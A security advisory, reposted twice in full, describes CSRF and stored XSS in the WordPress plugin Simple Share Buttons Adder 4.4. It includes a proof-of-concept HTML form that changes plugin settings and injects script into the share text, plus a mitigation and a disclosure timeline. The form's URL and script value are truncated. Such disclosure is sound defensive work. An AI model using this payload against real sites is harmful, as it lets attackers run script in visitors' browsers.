Details
================
Software: Simple Share Buttons Adder
Version: 4.4
Homepage: https://wordpress.org/plugins/
Advisory report: https://security.dxw.com/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:P)
Description
================
CSRF and stored XSS in Simple Share Buttons Adder 4.4
Vulnerability
================
An attacker able to convince an admin to visit a link of their choosing is able to execute arbitrary javascript in the context of the Homepage, Pages, Posts, Category/Archive pages and post Excerpts.
Proof of concept
================
If a logged-in administrator user clicks the submit button on this form, a javascript alert will display on the homepage. (In a real attack the form can be made to auto-submit using Javascript).
<form action=\"http://scone.local:
<input type=\"hidden\" name=\"ssba_options\" value=\"save\">
<input type=\"checkbox\" name=\"ssba_homepage\" value=\"Y\">
<input type=\"text\" name=\"ssba_text_placement\" value= \"below\">
<input type=\"text\" name=\"ssba_before_or_after\" value= \"after\">
<input type=\"text\" name=\"ssba_share_text\" value=\"<script>alert(\'foo\')
<input type=\"submit\">
</form>
Mitigations
================
Immediately upgrade to version 4.5 or greater.
Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/
Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.
This vulnerability will be published if we do not receive a response to this report with 14 days.
Timeline
================
2014-06-19: Discovered
2014-06-25: Reported to WP.org and author via email
2014-06-26: Author reports issue fixed in version 4.5
Discovered by dxw:
================
Duncan Stuart
Please visit security.dxw.com for more information.
//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information
================
Software: Simple Share Buttons Adder
Version: 4.4
Homepage: https://wordpress.org/plugins/
Advisory report: https://security.dxw.com/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:P)
Description
================
CSRF and stored XSS in Simple Share Buttons Adder 4.4
Vulnerability
================
An attacker able to convince an admin to visit a link of their choosing is able to execute arbitrary javascript in the context of the Homepage, Pages, Posts, Category/Archive pages and post Excerpts.
Proof of concept
================
If a logged-in administrator user clicks the submit button on this form, a javascript alert will display on the homepage. (In a real attack the form can be made to auto-submit using Javascript).
<form action=\"http://scone.local:
<input type=\"hidden\" name=\"ssba_options\" value=\"save\">
<input type=\"checkbox\" name=\"ssba_homepage\" value=\"Y\">
<input type=\"text\" name=\"ssba_text_placement\" value= \"below\">
<input type=\"text\" name=\"ssba_before_or_after\" value= \"after\">
<input type=\"text\" name=\"ssba_share_text\" value=\"<script>alert(\'foo\')
<input type=\"submit\">
</form>
Mitigations
================
Immediately upgrade to version 4.5 or greater.
Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/
Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.
This vulnerability will be published if we do not receive a response to this report with 14 days.
Timeline
================
2014-06-19: Discovered
2014-06-25: Reported to WP.org and author via email
2014-06-26: Author reports issue fixed in version 4.5
Discovered by dxw:
================
Duncan Stuart
Please visit security.dxw.com for more information.
//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information